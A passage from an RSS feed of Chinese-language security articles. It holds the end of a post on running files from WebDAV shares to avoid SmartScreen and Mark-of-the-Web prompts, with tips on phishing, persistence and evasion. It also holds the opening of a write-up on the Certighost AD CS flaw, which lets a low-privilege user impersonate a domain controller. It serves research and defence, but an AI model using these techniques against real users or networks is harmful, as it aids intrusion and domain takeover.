normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">&#34;将这个文件复制到你的机器上，运行这个工具，它就会从你信任的 IT 部门或某个人那里挂载一个网络共享。&#34; 😸</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">从攻击者的角度来看，这意味着：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">无需签名证书（不过有一个对防御规避没有坏处）</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">无需特殊主机名技巧</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">适用于标准 HTTPS WebDAV</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">可执行文件启动时零安全提示</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">适用于初始访问钓鱼、横向移动或持久化</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">从防御者的角度来看，这正是那种微妙的技巧，存在于传统基于区域的安全（假设网络文件本质上风险更高）和现代应用信誉系统（如果文件从未被标记为&#34;来自互联网&#34;就可以被绕过）之间的缝隙中。</span></p><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">从战术红队角度如何使用？</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">首先，你肯定要从社会工程角度探索 </span><strong><span leaf="">ClickFix</span></strong><span leaf="">和 </span><strong><span leaf="">FileFix</span></strong><span leaf="">。我认为这是必然的。想想看：你只需要诱骗用户运行一条命令，然后砰！文件执行完成！（只要你的可执行文件不被 EDR 捕获。那是你自己的事，不能怪我！😹）</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">你还可以将其用于</span><strong><span leaf="">持久化</span></strong><span leaf="">或</span><strong><span leaf="">规避</span></strong><span leaf="">。能够直接通过网络共享执行脚本或可执行文件而不弹出安全提示，这意义重大！</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">另外在我忘记之前，你可能想用域名而非 IP 地址来访问你的 </span><strong><span leaf="">WebDav</span></strong><span leaf="">共享，让它看起来更正式。我使用了 </span><strong><span leaf="">Cloudflare</span></strong><span leaf="">来设置我的 DNS 条目：</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100013065" data-ratio="0.242284963887065" data-s="300,640" type="block" data-type="png" data-w="1523" src="https://wechat2rss.xlab.app/img-proxy/?k=496b9b5e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSiabFDOcHFj4tttKbhb79MWqdZZGiaHlvGFBnPv872eYJl4EeE27GcLGQIDWrE7G69bzpKmOxWAWfhVHBDSluxf2cxFZF2dP2d78%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">预览（演示）：</span></strong></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100013066" data-ratio="0.3063991323210412" data-s="300,640" type="block" data-type="png" data-w="1844" src="https://wechat2rss.xlab.app/img-proxy/?k=423e2a22&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSj7030NCrhGGBdWvbD4jtgQod9LqgCA8tFg4Da1EzJ1OjCyiaibrgLBr2N2LT8SRklBElZ8oMS0UpUH958V7Qw5C7F5J02nfIEA4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">📓使用 Caddy 在你的服务器/VPS 上像我一样设置 WebDav 的脚本：WebDav 设置脚本 📓 </span><span leaf=""><a href="https://ko-fi.com/s/e3ab64939f" target="_blank">https://ko-fi.com/s/e3ab64939f</a></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-top: 15px;margin-right: 0px;margin-left: 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);margin-bottom: 0px !important;"><p style="margin: 0px 0px 15px;"><span leaf="">免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。</span></p></blockquote><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://g3tsyst3m.com/initial%20access/Using-WebDav-to-Outsmart-Smartscreen,-MOTW,-and-that-OTHER-Alert/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=af4c83ec&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAxODM5ODQzNQ%3D%3D%26mid%3D2247496718%26idx%3D2%26sn%3Dc359daa7121ceb77d52ef9a0508b1811">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sat, 25 Jul 2026 16:50:00 +0800</pubDate>
    </item>
    <item>
      <title>Certighost（CVE-2026-54121）</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&amp;mid=2247496622&amp;idx=1&amp;sn=0c50cbec364e685b1605c4b3095ee941</link>
      <description>Certighost 是 AD CS 证书注册 chase 回退机制中的漏洞，允许低权限域用户冒充域控制器并经 DCSync 实现域控接管。</description>
      <content:encoded><![CDATA[<p><span>h0j3n</span> <span>2026-07-24 22:58</span> <span style="display: inline-block;">广东</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=8f8d3ac0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fh4gtbB74nSjywKAQVeicontAiaN8h9olwBxmWbOXujYTHzyDrQmAVoJBeL2ia5pvNy8XJFGPRNDcpUibuUZ6SxxDkw1VQIdCOgMzQBvwCFr3n7E%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>Certighost 是 AD CS 证书注册 chase 回退机制中的漏洞，允许低权限域用户冒充域控制器并经 DCSync 实现域控接管。</p>
  <table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">原文链接</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">作者</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf=""><a href="https://gist.github.com/H0j3n/a5ef2609b5f2944ac2390a191a534c26" target="_blank">https://gist.github.com/H0j3n/a5ef2609b5f2944ac2390a191a534c26</a></span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">@h0j3n, @aniqfakhrul</span></p></td></tr></tbody></table><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Certighost 是一个 Active Directory 证书服务（AD CS）漏洞，在受测的 AD CS 配置下，允许低权限域用户冒充域控制器并实现域控接管。该问题已在 2026 年 7 月的安全更新中修复。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">漏洞路径是 AD CS 注册过程中一种称为 </span><em><span leaf="">chase</span></em><span leaf="">（追踪）的回退机制，发生在目录对象解析期间。通过在请求中提供 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">cdc</span></code><span leaf="">等请求属性，攻击者可以诱导证书颁发机构（CA）向攻击者控制的主机请求属于域控制器的身份数据。随后，CA 在签发证书时使用了这些数据。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"></figure><p style="max-width:100%;display:none;" data-remoteid="" data-asynid="" src="https://private-user-images.githubusercontent.com/51261763/626059707-4be341ff-b8a0-4d91-9919-348511bd3da8.png?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3ODQ4ODkwODQsIm5iZiI6MTc4NDg4ODc4NCwicGF0aCI6Ii81MTI2MTc2My82MjYwNTk3MDctNGJlMzQxZmYtYjhhMC00ZDkxLTk5MTktMzQ4NTExYmQzZGE4LnBuZz9YLUFtei1BbGdvcml0aG09QVdTNC1ITUFDLVNIQTI1NiZYLUFtei1DcmVkZW50aWFsPUFLSUFWQ09EWUxTQTUzUFFLNFpBJTJGMjAyNjA3MjQlMkZ1cy1lYXN0LTElMkZzMyUyRmF3czRfcmVxdWVzdCZYLUFtei1EYXRlPTIwMjYwNzI0VDEwMjYyNFomWC1BbXotRXhwaXJlcz0zMDAmWC1BbXotU2lnbmF0dXJlPTNhYzc3MTQ2M2IyNmQyOGI4NmVlNzg2MGY0NTdmZWI0ZDg4NmE1MmE1MGM3NjI1YTBiOWU1YmVmYjUzNGY2YWMmWC1BbXotU2lnbmVkSGVhZGVycz1ob3N0JnJlc3BvbnNlLWNvbnRlbnQtdHlwZT1pbWFnZSUyRnBuZyJ9.bIhuE4H-MoCD2MMvSOGL6WFe7HQbGZdYSZemf0BIaiQ" data-src="" align="" alt="Certighost meme" border="" class="rich_pages wxw-img js_nocatch" data-ratio="" data-s="" data-type="" data-w="" aria-label="" aria-braillelabel="" aria-description="" height="" hspace="" ismap="" opacity="" sizes="" title="" type="" usemap="" vspace="" width="" data-width="" data-height="" data-croporisrc="" data-cropx1="" data-cropx2="" data-cropy1="" data-cropy2="" data-cropselx1="" data-cropselx2="" data-cropsely1="" data-cropsely2="" data-backw="" data-backh="" data-copyright="" data-oversubscription-url="" data-before-oversubscription-url="" data-galleryid="" data-gallerysupplier="" data-cardimg="" data-fileid="" data-imgfileid="" data-positionback="" data-imgqrcoded="" data-imgid="" data-upload="" data-fromlib="" data-aiimageid="" data-aiimagesource="" data-cacheurl="" data-aistatus="" data-retry="" data-ignore-width="" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5585215605749486" data-s="300,640" data-type="png" data-w="974" type="block" data-imgfileid="100012961" src="https://wechat2rss.xlab.app/img-proxy/?k=4b254b1c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSiaJic7ohqlwTJic3hRY0xo7E3CDcuqvLubWt3lITYUhyl1JMsmGMaarpw9I8dk6df3Rn1W3HNlk6TwvuV0VXRVcD8TkuGJd2Y1qQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012970" data-ratio="0.5585215605749486" data-s="300,640" type="block" data-type="png" data-w="974" src="https://wechat2rss.xlab.app/img-proxy/?k=800db832&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSiaGRXKe2NWibxGtibZeKno0xxEV3DqUuoFLRacCG9aG00qkZxCQkKcMwcF6EHdW8d721S6QfNHMBG9ia09ukVTjbdF9OibN9yLCj9k%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">本文将解释 chase 路径的工作原理、为何会被滥用，以及更新中做了哪些改变。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Active Directory 证书服务简介</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">如果您已经在使用 AD CS，可以直接跳过本节。对于本文的后续内容，您只需将证书理解为一种经过签名的身份证明。如同 Kerberos 票据一样，证书可以在身份验证过程中出示，以表明用户或计算机的身份。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">AD CS 是微软的公钥基础设施实现。它与 Active Directory 集成，签发 X.509 证书，用于加密、签名、安全通信和身份验证等用途。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">证书将一个主体与公钥绑定。私钥由请求者保管，而证书包含公钥和由证书颁发机构签名的身份信息。信任 CA 的服务可以使用该签名来信任证书中的身份。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">证书模板控制注册流程。模板决定谁可以请求证书、证书的用途、必须包含哪些身份信息，以及 CA 是否可以接受请求中提供的身份信息。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">此处相关的概念是基于证书的客户端身份验证。客户端从企业 CA 请求证书，随后将其提交给密钥分发中心（KDC）以获取 Kerberos 凭据。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">PKINIT 与证书映射</span></strong></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">为便于理解，假设有一个名为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ABC.LOCAL</span></code><span leaf="">的小型实验域并安装了 AD CS。低权限账户可以从其有权注册的模板请求证书，然后使用该证书向 KDC 进行身份验证。</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.2212962962962963" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100012962" src="https://wechat2rss.xlab.app/img-proxy/?k=5efa4eff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nShVUhbnSXIfrdG8EjjRsZ8hClsK3w8icGl1MUcQNadN6LWsQTu27NbYiclauu2YPbra2NpB2iaXStSv6xZgaFub5346XZNuXbicNsk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在证书身份验证期间，KDC 将证书中的身份映射到 Active Directory 账户，映射成功后签发 Kerberos TGT。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">背景：chase 回退机制</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在讨论漏洞之前，我们需要了解一种注册行为。在某些跨域控制器的注册场景中，CA 可能会执行第二次目录查询，此处称为 </span><em><span leaf="">chase</span></em><span leaf="">（追踪）。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">两个请求属性影响该查询：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">cdc</span></code><p><span leaf="">（Client DC，客户端域控），标识 CA 应联系的主机</span></p></li><li style="margin: 15px 0px 0px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">rmd</span></code><p><span leaf="">（Remote Domain，远程域），标识 CA 应查询的主体</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">当两个属性同时存在时，CA 通过 SMB 和 LDAP 联系 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">cdc</span></code><span leaf="">指定的主机，然后搜索 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">rmd</span></code><span leaf="">指定的主体。请求处理路径读取这些值并将其传递到远程目录查询中。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 